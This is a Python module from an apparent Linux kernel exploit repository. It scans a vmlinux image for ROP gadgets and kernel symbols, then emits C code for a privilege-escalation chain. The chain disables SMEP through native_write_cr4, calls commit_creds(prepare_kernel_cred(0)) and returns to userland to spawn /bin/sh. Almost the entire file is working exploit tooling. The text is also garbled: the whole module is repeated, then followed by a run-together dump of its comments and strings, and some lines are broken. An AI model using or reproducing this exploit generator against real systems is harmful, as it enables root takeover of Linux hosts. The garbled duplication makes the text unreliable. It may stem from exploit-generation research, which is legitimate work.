<reponame>Xelentra1/Linux_kernel_exploits<filename>fuze/kernelrop/__init__.py
#!/usr/bin/python
from pwn import *
import ropgadget
from ropgadget.binary import Binary
from capstone import CS_MODE_32
from ropgadget.args import Args
from ropgadget.core import Core
import re
import time
import os
import pickle

class KernelROP(object):
    def __init__(self, kernel_path, cmd, KASLR=False):
        #self.b=angr.Project(KERNEL_PATH)
        self.c = Core(Args(arguments = cmd).getArgs())
        self.kernel_path = kernel_path
        #self.k=ELF(kernel_path)
        self.k = None
        self.stack_pivot_gadgets = []
        self.pop_rdi_ret_gadget = []
        self.pop_rdx_ret_gadget = []
        self.pop_rax_ret_gadget = []
        self.swapgs_gadget = []
        self.Iretq_gadget = None
        self.stack_pivot_gadgets_in_text = ''
        self.stack_pivot_gadgets_ready_to_use=[]
        self.user_space_base=None

    def is_stack_pivot(self, gadget):
        vaddr = gadget["vaddr"]
        insts = gadget["gadget"]
        if len(insts.split(';')) != 2:
            return False
        if vaddr % 8 != 0:  # filter out gadget not align to 8
            return False
        regex = re.compile(r'xchg e\w\w, esp ; ret[\S]*')
        if regex.search(insts) is None:
            return False
        return True


    def lookingForIretq(self):
        opcodes = '48cf'
        if self.c._Core__checksBeforeManipulations() is False:
            return False
        execsections = self.c._Core__binary.getExecSections()
        arch = self.c._Core__binary.getArchMode()
        for section in execsections:
            #if section['name'] != '.text':
                #continue
            allRef = [m.start() for m in re.finditer(re.escape(opcodes.decode("hex")), section["opcodes"])]
            for ref in allRef:
                vaddr  = self.c._Core__offset + section["vaddr"] + ref
                rangeS = int(self.c._Core__options.range.split('-')[0], 16)
                rangeE = int(self.c._Core__options.range.split('-')[1], 16)
                if (rangeS == 0 and rangeE == 0) or (vaddr >= rangeS and vaddr <= rangeE):
                    print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(opcodes))
                    self.Iretq_gadget = vaddr
                    return
        #s=self.k.get_section_by_name('.text')
        #low_bound=s.header['sh_addr']
        #high_bound=low_bound+s.header['sh_size']
        #for _ in self.k.search('\x48\xcf'):
            #if _ > low_bound and _ < high_bound:
                #print 'Found iretq gadget at '+hex(_)
                #self.Iretq_gadget=_
                #break

        return

    def lookingForSwapgs(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "swapgs ; pop rbp ; ret":
                print("Swapgs gadget found at "+hex(vaddr)+' '+insts)
                self.swapgs_gadget.append(gadget)
        return
        
    def lookingForPopRaxRetGadget(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "pop rax ; ret":
                print("Pop Rax Ret found at "+hex(vaddr))
                self.pop_rax_ret_gadget.append(gadget)
                break
        return

    def lookingForPopRdxRetGadget(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "pop rdx ; ret":
                print("Pop Rdx Ret found at "+hex(vaddr))
                self.pop_rdx_ret_gadget.append(gadget)
                break
        return

    def lookingForPopRdiRetGadget(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "pop rdi ; ret":
                print("Pop Rdi Ret found at "+hex(vaddr))
                self.pop_rdi_ret_gadget.append(gadget)
                break
        return

    def lookingForStackPivotGadgets(self):
        """
        find  stack pivot to user space
        """
        if self.c._Core__checksBeforeManipulations() == False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            #print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(insts))
            if self.is_stack_pivot(gadget):
                print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(insts))
                self.stack_pivot_gadgets.append(gadget)
                self.stack_pivot_gadgets_in_text += hex(vaddr) + ' : ' + insts+'\n'
        return True

    def analyze_to_get_gadgets(self):
        if os.path.isfile('rop_core.cache'):
            try:
                self.c._Core__offset = int(self.c._Core__options.offset, 16) if self.c._Core__options.offset else 0
            except ValueError:
                print("[Error] The offset must be in hexadecimal")
                return Fa
            self.c._Core__binary = Binary(self.c._Core__options)

            if self.c._Core__checksBeforeManipulations() == False:
                return False

            print '[+] loading rop core from disk'
            with open('rop_core.cache','rb') as f:
                self.c._Core__gadgets = pickle.load(f)
        else:
            try:
                self.c._Core__offset = int(self.c._Core__options.offset, 16) if self.c._Core__options.offset else 0
            except ValueError:
                print("[Error] The offset must be in hexadecimal")
                return Fa

            self.c._Core__binary = Binary(self.c._Core__options)

            if self.c._Core__checksBeforeManipulations() == False:
                return False
            else:
                print 'getting all gadgets'
                self.c._Core__getAllgadgets()
                print '[+] dumping rop core to disk'
                with open('rop_core.cache','wb') as f:
                    for agadget in self.c.gadgets():
                        agadget['decodes'] = None
                    pickle.dump(self.c.gadgets(), f, -1)

    def find_offset_for_stack_pivot(self):
        for line in self.stack_pivot_gadgets_in_text.split('\n'):
            register_storing_ip = ''
            if line == '':
                continue
            target_str, gadget = line.split(':')
            target_addr = int(target_str, 16)

            stack_offset_str = gadget.strip().split('ret')[1]
            if stack_offset_str != '':
                stack_offset = int(stack_offset_str.strip(), 16)
            else:
                stack_offset = 0
            if 'eax' in gadget:
                register_storing_ip = 'eax'
            elif 'ebx' in gadget:
                register_storing_ip = 'ebx'
            elif 'ecx' in gadget:
                register_storing_ip = 'ecx'
            elif 'edx' in gadget:
                register_storing_ip = 'edx'
            elif 'edi' in gadget:
                register_storing_ip = 'edi'
            elif 'esi' in gadget:
                register_storing_ip = 'esi'
            else:
                print '...'
                import IPython; IPython.embed()
                assert 0
            #3print 'gadget =', gadget.strip()
            #print 'stack addr = %x' % (target_addr & 0xffffffff)
            #print 'stack top = %x' % (stack_offset)
            sp_gadget = {'stack_addr': target_addr,
                    'stack_top': stack_offset,
                    'gadget': gadget.strip(),
                    'register': register_storing_ip}
            self.stack_pivot_gadgets_ready_to_use.append(sp_gadget)
        return

    def find_function_address_by_name(self, function_name):
        try:
            addr=self.k.symbols[function_name]
            print function_name, 'is found at', hex(addr)
        except:
            print 'can not find'+function_name
            return -1
        return addr

    def routine1_to_c_code(self, register_storing_ip='eax'):
        self.analyze_to_get_gadgets()
        self.k=ELF(self.kernel_path)
        self.lookingForStackPivotGadgets()
        self.find_offset_for_stack_pivot()
        self.lookingForPopRdiRetGadget()
        self.lookingForSwapgs()
        self.lookingForIretq()
        native_write_cr4 = self.find_function_address_by_name('native_write_cr4')
        prepare_kernel_cred = self.find_function_address_by_name('prepare_kernel_cred')
        commit_creds = self.find_function_address_by_name('commit_creds')
        #print self.pop_rdi_ret_gadget

        selected_gadget_idx=-1
        # choose a stack pivot with selected registers
        for idx, stack_pivot_gadget in enumerate(self.stack_pivot_gadgets_ready_to_use):
            if stack_pivot_gadget['register']==register_storing_ip:
                selected_gadget_idx = idx
                break
        if selected_gadget_idx==-1:
            print 'can not find a suitable stack pivot gadget for register:', register_storing_ip
            import IPython; IPython.embed()

        consts =''
        consts += '#include <sys/mman.h>\n'
        consts += '#define native_write_cr4 '\
                + hex(native_write_cr4)\
                + '\n'
        consts += '#define PREPARE_KERNEL_CRED '\
                + hex(prepare_kernel_cred)\
                + '\n'
        consts += '#define COMMIT_CREDS '\
                + hex(commit_creds)\
                + '\n'
        consts += '#define poprdiret '\
                + hex(self.pop_rdi_ret_gadget[0]['vaddr'])\
                + '\n'
        consts += '#define swapgs '\
                + hex(self.swapgs_gadget[0]['vaddr'])\
                + '\n'
        consts += '#define iretq '\
                + hex(self.Iretq_gadget)\
                + '\n'
        consts += '#define stack_pivot_gadget '\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr'])\
                + '\n'
        consts += '#define stack_top_offset '\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_top'])\
                + '\n'
        consts += '#define krop_base_to_map '\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr']&0xfffff000)\
                + '\n'
        consts += 'int rop_start='\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr']\
                &0xfff\
                + self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_top'])\
                + ';\n'
        consts += 'void* krop_base_mapped;\n'

        body = '''unsigned long rop_chain[] = {
    poprdiret,
    0x6f0,
    native_write_cr4,
    get_root_payload,
    swapgs,
    0, //dummy
    iretq,
    get_shell,
    0,//user_cs,
    0,//user_rflags,
    0,//krop_base_mapped + 0x4000,
    0//user_ss
};
    '''
        header = '''
unsigned long user_cs, user_ss, user_rflags;

static void save_state()
{
    asm(
        "movq %%cs, %0\\n"
        "movq %%ss, %1\\n"
        "pushfq\\n"
        "popq %2\\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void get_shell()
{
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
    execve(shell, args, NULL);
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void)
{
    commit_creds(prepare_kernel_cred(0));
}
'''
        krop_base = self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]\
                ['stack_addr']&0xfffff000
        tail = '''
void prepare_krop(){
    krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
    if (krop_base_mapped<0){
        perror("mmap failed");
    }
    rop_chain[8]=user_cs;
    rop_chain[9]=user_rflags;
    rop_chain[10]=krop_base_mapped + 0x4000;
    rop_chain[11]=user_ss;
    memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain));
    puts("rop_payload_initialized");
}
'''
        c_code = consts + header + body + tail
        print 'finied generating c code for KROP'
        return selected_gadget_idx, c_code, self.c


def test():
    path_to_vmlinux = '/home/ww9210/kernels/4.10-no-kasan/vmlinux' 
    cmd = ('--binary ' + path_to_vmlinux + ' --depth 5').split()
    krop = KernelROP(path_to_vmlinux, cmd)

    start=time.clock()
    krop.analyze_to_get_gadgets()
    end = time.clock()
    print 'gadget analysis cost', end-start, 'seconds'

    krop.lookingForStackPivotGadgets()
    krop.find_offset_for_stack_pivot()
    krop.lookingForPopRdiRetGadget()
    krop.lookingForPopRaxRetGadget()
    krop.lookingForPopRdxRetGadget()
    krop.lookingForSwapgs()
    krop.lookingForIretq()
    #print krop.stack_pivot_gadgets
    #print krop.stack_pivot_gadgets_ready_to_use
    #print krop.stack_pivot_gadgets_in_text
    #print krop.pop_rdi_ret_gadget
    krop.find_function_address_by_name('prepare_kernel_cred')
    krop.find_function_address_by_name('commit_creds')
    krop.find_function_address_by_name('native_write_cr4')
       
def test1():
    path_to_vmlinux = '/home/ww9210/kernels/4.12-no-kasan/vmlinux'
    #path_to_vmlinux = '/home/ww9210/kernels/4.10-inject-no-kasan/vmlinux' 
    #path_to_vmlinux = '/home/ww9210/kernels/4.10-rc5-no-kasan/vmlinux' 
    #path_to_vmlinux = '/home/ww9210/kernels/4.10-inject-10150-no-kasan/vmlinux' 
    cmd = ('--binary ' + path_to_vmlinux + ' --depth 5')\
            .split()
    krop = KernelROP(path_to_vmlinux, cmd)
    idx, c_code, core = krop.routine1_to_c_code(register_storing_ip='eax')
    print idx
    stack_pivot_addr = krop.stack_pivot_gadgets_ready_to_use[idx]['stack_addr']
    print c_code
    print 'stack_pivot_addr',hex(stack_pivot_addr)

def test2():
    path_to_vmlinux = '/home/ww9210/kernels/4.10-inject-no-kasan/vmlinux' 
    cmd = ('--binary ' + path_to_vmlinux + ' --depth 15').split()
    krop = KernelROP(path_to_vmlinux, cmd)
    idx,c_code,core = krop.routine1_to_c_code(register_storing_ip='eax')
    print idx
    stack_pivot_addr = krop.stack_pivot_gadgets_ready_to_use[idx]['stack_addr']
    print c_code
    print 'stack_pivot_addr',hex(stack_pivot_addr)


if __name__=='__main__':
    test1()



#!/usr/bin/python
from pwn import *
import ropgadget
from ropgadget.binary import Binary
from capstone import CS_MODE_32
from ropgadget.args import Args
from ropgadget.core import Core
import re
import time
import os
import pickle

class KernelROP(object):
    def __init__(self, kernel_path, cmd, KASLR=False):
        #self.b=angr.Project(KERNEL_PATH)
        self.c = Core(Args(arguments = cmd).getArgs())
        self.kernel_path = kernel_path
        #self.k=ELF(kernel_path)
        self.k = None
        self.stack_pivot_gadgets = []
        self.pop_rdi_ret_gadget = []
        self.pop_rdx_ret_gadget = []
        self.pop_rax_ret_gadget = []
        self.swapgs_gadget = []
        self.Iretq_gadget = None
        self.stack_pivot_gadgets_in_text = ''
        self.stack_pivot_gadgets_ready_to_use=[]
        self.user_space_base=None

    def is_stack_pivot(self, gadget):
        vaddr = gadget["vaddr"]
        insts = gadget["gadget"]
        if len(insts.split(';')) != 2:
            return False
        if vaddr % 8 != 0:  # filter out gadget not align to 8
            return False
        regex = re.compile(r'xchg e\w\w, esp ; ret[\S]*')
        if regex.search(insts) is None:
            return False
        return True


    def lookingForIretq(self):
        opcodes = '48cf'
        if self.c._Core__checksBeforeManipulations() is False:
            return False
        execsections = self.c._Core__binary.getExecSections()
        arch = self.c._Core__binary.getArchMode()
        for section in execsections:
            #if section['name'] != '.text':
                #continue
            allRef = [m.start() for m in re.finditer(re.escape(opcodes.decode("hex")), section["opcodes"])]
            for ref in allRef:
                vaddr  = self.c._Core__offset + section["vaddr"] + ref
                rangeS = int(self.c._Core__options.range.split('-')[0], 16)
                rangeE = int(self.c._Core__options.range.split('-')[1], 16)
                if (rangeS == 0 and rangeE == 0) or (vaddr >= rangeS and vaddr <= rangeE):
                    print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(opcodes))
                    self.Iretq_gadget = vaddr
                    return
        #s=self.k.get_section_by_name('.text')
        #low_bound=s.header['sh_addr']
        #high_bound=low_bound+s.header['sh_size']
        #for _ in self.k.search('\x48\xcf'):
            #if _ > low_bound and _ < high_bound:
                #print 'Found iretq gadget at '+hex(_)
                #self.Iretq_gadget=_
                #break

        return

    def lookingForSwapgs(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "swapgs ; pop rbp ; ret":
                print("Swapgs gadget found at "+hex(vaddr)+' '+insts)
                self.swapgs_gadget.append(gadget)
        return
        
    def lookingForPopRaxRetGadget(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "pop rax ; ret":
                print("Pop Rax Ret found at "+hex(vaddr))
                self.pop_rax_ret_gadget.append(gadget)
                break
        return

    def lookingForPopRdxRetGadget(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "pop rdx ; ret":
                print("Pop Rdx Ret found at "+hex(vaddr))
                self.pop_rdx_ret_gadget.append(gadget)
                break
        return

    def lookingForPopRdiRetGadget(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "pop rdi ; ret":
                print("Pop Rdi Ret found at "+hex(vaddr))
                self.pop_rdi_ret_gadget.append(gadget)
                break
        return

    def lookingForStackPivotGadgets(self):
        """
        find  stack pivot to user space
        """
        if self.c._Core__checksBeforeManipulations() == False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            #print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(insts))
            if self.is_stack_pivot(gadget):
                print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(insts))
                self.stack_pivot_gadgets.append(gadget)
                self.stack_pivot_gadgets_in_text += hex(vaddr) + ' : ' + insts+'\n'
        return True

    def analyze_to_get_gadgets(self):
        if os.path.isfile('rop_core.cache'):
            try:
                self.c._Core__offset = int(self.c._Core__options.offset, 16) if self.c._Core__options.offset else 0
            except ValueError:
                print("[Error] The offset must be in hexadecimal")
                return Fa
            self.c._Core__binary = Binary(self.c._Core__options)

            if self.c._Core__checksBeforeManipulations() == False:
                return False

            print '[+] loading rop core from disk'
            with open('rop_core.cache','rb') as f:
                self.c._Core__gadgets = pickle.load(f)
        else:
            try:
                self.c._Core__offset = int(self.c._Core__options.offset, 16) if self.c._Core__options.offset else 0
            except ValueError:
                print("[Error] The offset must be in hexadecimal")
                return Fa

            self.c._Core__binary = Binary(self.c._Core__options)

            if self.c._Core__checksBeforeManipulations() == False:
                return False
            else:
                print 'getting all gadgets'
                self.c._Core__getAllgadgets()
                print '[+] dumping rop core to disk'
                with open('rop_core.cache','wb') as f:
                    for agadget in self.c.gadgets():
                        agadget['decodes'] = None
                    pickle.dump(self.c.gadgets(), f, -1)

    def find_offset_for_stack_pivot(self):
        for line in self.stack_pivot_gadgets_in_text.split('\n'):
            register_storing_ip = ''
            if line == '':
                continue
            target_str, gadget = line.split(':')
            target_addr = int(target_str, 16)

            stack_offset_str = gadget.strip().split('ret')[1]
            if stack_offset_str != '':
                stack_offset = int(stack_offset_str.strip(), 16)
            else:
                stack_offset = 0
            if 'eax' in gadget:
                register_storing_ip = 'eax'
            elif 'ebx' in gadget:
                register_storing_ip = 'ebx'
            elif 'ecx' in gadget:
                register_storing_ip = 'ecx'
            elif 'edx' in gadget:
                register_storing_ip = 'edx'
            elif 'edi' in gadget:
                register_storing_ip = 'edi'
            elif 'esi' in gadget:
                register_storing_ip = 'esi'
            else:
                print '...'
                import IPython; IPython.embed()
                assert 0
            #3print 'gadget =', gadget.strip()
            #print 'stack addr = %x' % (target_addr & 0xffffffff)
            #print 'stack top = %x' % (stack_offset)
            sp_gadget = {'stack_addr': target_addr,
                    'stack_top': stack_offset,
                    'gadget': gadget.strip(),
                    'register': register_storing_ip}
            self.stack_pivot_gadgets_ready_to_use.append(sp_gadget)
        return

    def find_function_address_by_name(self, function_name):
        try:
            addr=self.k.symbols[function_name]
            print function_name, 'is found at', hex(addr)
        except:
            print 'can not find'+function_name
            return -1
        return addr

    def routine1_to_c_code(self, register_storing_ip='eax'):
        self.analyze_to_get_gadgets()
        self.k=ELF(self.kernel_path)
        self.lookingForStackPivotGadgets()
        self.find_offset_for_stack_pivot()
        self.lookingForPopRdiRetGadget()
        self.lookingForSwapgs()
        self.lookingForIretq()
        native_write_cr4 = self.find_function_address_by_name('native_write_cr4')
        prepare_kernel_cred = self.find_function_address_by_name('prepare_kernel_cred')
        commit_creds = self.find_function_address_by_name('commit_creds')
        #print self.pop_rdi_ret_gadget

        selected_gadget_idx=-1
        # choose a stack pivot with selected registers
        for idx, stack_pivot_gadget in enumerate(self.stack_pivot_gadgets_ready_to_use):
            if stack_pivot_gadget['register']==register_storing_ip:
                selected_gadget_idx = idx
                break
        if selected_gadget_idx==-1:
            print 'can not find a suitable stack pivot gadget for register:', register_storing_ip
            import IPython; IPython.embed()

        consts =''
        consts += '#include <sys/mman.h>\n'
        consts += '#define native_write_cr4 '\
                + hex(native_write_cr4)\
                + '\n'
        consts += '#define PREPARE_KERNEL_CRED '\
                + hex(prepare_kernel_cred)\
                + '\n'
        consts += '#define COMMIT_CREDS '\
                + hex(commit_creds)\
                + '\n'
        consts += '#define poprdiret '\
                + hex(self.pop_rdi_ret_gadget[0]['vaddr'])\
                + '\n'
        consts += '#define swapgs '\
                + hex(self.swapgs_gadget[0]['vaddr'])\
                + '\n'
        consts += '#define iretq '\
                + hex(self.Iretq_gadget)\
                + '\n'
        consts += '#define stack_pivot_gadget '\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr'])\
                + '\n'
        consts += '#define stack_top_offset '\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_top'])\
                + '\n'
        consts += '#define krop_base_to_map '\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr']&0xfffff000)\
                + '\n'
        consts += 'int rop_start='\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr']\
                &0xfff\
                + self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_top'])\
                + ';\n'
        consts += 'void* krop_base_mapped;\n'

        body = '''unsigned long rop_chain[] = {
    poprdiret,
    0x6f0,
    native_write_cr4,
    get_root_payload,
    swapgs,
    0, //dummy
    iretq,
    get_shell,
    0,//user_cs,
    0,//user_rflags,
    0,//krop_base_mapped + 0x4000,
    0//user_ss
};
    '''
        header = '''
unsigned long user_cs, user_ss, user_rflags;

static void save_state()
{
    asm(
        "movq %%cs, %0\\n"
        "movq %%ss, %1\\n"
        "pushfq\\n"
        "popq %2\\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void get_shell()
{
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
    execve(shell, args, NULL);
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void)
{
    commit_creds(prepare_kernel_cred(0));
}
'''
        krop_base = self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]\
                ['stack_addr']&0xfffff000
        tail = '''
void prepare_krop(){
    krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
    if (krop_base_mapped<0){
        perror("mmap failed");
    }
    rop_chain[8]=user_cs;
    rop_chain[9]=user_rflags;
    rop_chain[10]=krop_base_mapped + 0x4000;
    rop_chain[11]=user_ss;
    memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain));
    puts("rop_payload_initialized");
}
'''
        c_code = consts + header + body + tail
        print 'finied generating c code for KROP'
        return selected_gadget_idx, c_code, self.c


def test():
    path_to_vmlinux = '/home/ww9210/kernels/4.10-no-kasan/vmlinux' 
    cmd = ('--binary ' + path_to_vmlinux + ' --depth 5').split()
    krop = KernelROP(path_to_vmlinux, cmd)

    start=time.clock()
    krop.analyze_to_get_gadgets()
    end = time.clock()
    print 'gadget analysis cost', end-start, 'seconds'

    krop.lookingForStackPivotGadgets()
    krop.find_offset_for_stack_pivot()
    krop.lookingForPopRdiRetGadget()
    krop.lookingForPopRaxRetGadget()
    krop.lookingForPopRdxRetGadget()
    krop.lookingForSwapgs()
    krop.lookingForIretq()
    #print krop.stack_pivot_gadgets
    #print krop.stack_pivot_gadgets_ready_to_use
    #print krop.stack_pivot_gadgets_in_text
    #print krop.pop_rdi_ret_gadget
    krop.find_function_address_by_name('prepare_kernel_cred')
    krop.find_function_address_by_name('commit_creds')
    krop.find_function_address_by_name('native_write_cr4')
       
def test1():
    path_to_vmlinux = '/home/ww9210/kernels/4.12-no-kasan/vmlinux'
    #path_to_vmlinux = '/home/ww9210/kernels/4.10-inject-no-kasan/vmlinux' 
    #path_to_vmlinux = '/home/ww9210/kernels/4.10-rc5-no-kasan/vmlinux' 
    #path_to_vmlinux = '/home/ww9210/kernels/4.10-inject-10150-no-kasan/vmlinux' 
    cmd = ('--binary ' + path_to_vmlinux + ' --depth 5')\
            .split()
    krop = KernelROP(path_to_vmlinux, cmd)
    idx, c_code, core = krop.routine1_to_c_code(register_storing_ip='eax')
    print idx
    stack_pivot_addr = krop.stack_pivot_gadgets_ready_to_use[idx]['stack_addr']
    print c_code
    print 'stack_pivot_addr',hex(stack_pivot_addr)

def test2():
    path_to_vmlinux = '/home/ww9210/kernels/4.10-inject-no-kasan/vmlinux' 
    cmd = ('--binary ' + path_to_vmlinux + ' --depth 15').split()
    krop = KernelROP(path_to_vmlinux, cmd)
    idx,c_code,core = krop.routine1_to_c_code(register_storing_ip='eax')
    print idx
    stack_pivot_addr = krop.stack_pivot_gadgets_ready_to_use[idx]['stack_addr']
    print c_code
    print 'stack_pivot_addr',hex(stack_pivot_addr)


if __name__=='__main__':
    test1()
#!/usr/bin/python #self.b=angr.Project(KERNEL_PATH) #self.k=ELF(kernel_path) # filter out gadget not align to 8 #if section['name'] != '.text': #continue #s=self.k.get_section_by_name('.text') #low_bound=s.header['sh_addr'] #high_bound=low_bound+s.header['sh_size'] #for _ in self.k.search('\x48\xcf'): #if _ > low_bound and _ < high_bound: #print 'Found iretq gadget at '+hex(_) #self.Iretq_gadget=_ #break find  stack pivot to user space #print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(insts)) #3print 'gadget =', gadget.strip() #print 'stack addr = %x' % (target_addr & 0xffffffff) #print 'stack top = %x' % (stack_offset) #print self.pop_rdi_ret_gadget # choose a stack pivot with selected registers unsigned long rop_chain[] = {     poprdiret,     0x6f0,     native_write_cr4,     get_root_payload,     swapgs,     0, //dummy     iretq,     get_shell,     0,//user_cs,     0,//user_rflags,     0,//krop_base_mapped + 0x4000,     0//user_ss }; unsigned long user_cs, user_ss, user_rflags;  static void save_state() {     asm(         "movq %%cs, %0\\n"         "movq %%ss, %1\\n"         "pushfq\\n"         "popq %2\\n"         : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)         :         : "memory"); }  void get_shell() {     char *shell = "/bin/sh";     char *args[] = {shell, NULL};     execve(shell, args, NULL); }  typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;  void get_root_payload(void) {     commit_creds(prepare_kernel_cred(0)); } void prepare_krop(){     krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);     if (krop_base_mapped<0){         perror("mmap failed");     }     rop_chain[8]=user_cs;     rop_chain[9]=user_rflags;     rop_chain[10]=krop_base_mapped + 0x4000;     rop_chain[11]=user_ss;     memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain));     puts("rop_payload_initialized"); } #print krop.stack_pivot_gadgets #print krop.stack_pivot_gadgets_ready_to_use #print krop.stack_pivot_gadgets_in_text #print krop.pop_rdi_ret_gadget #path_to_vmlinux = '/home/ww9210/kernels/4.10-inject-no-kasan/vmlinux' #path_to_vmlinux = '/home/ww9210/kernels/4.10-rc5-no-kasan/vmlinux' #path_to_vmlinux = '/home/ww9210/kernels/4.10-inject-10150-no-kasan/vmlinux'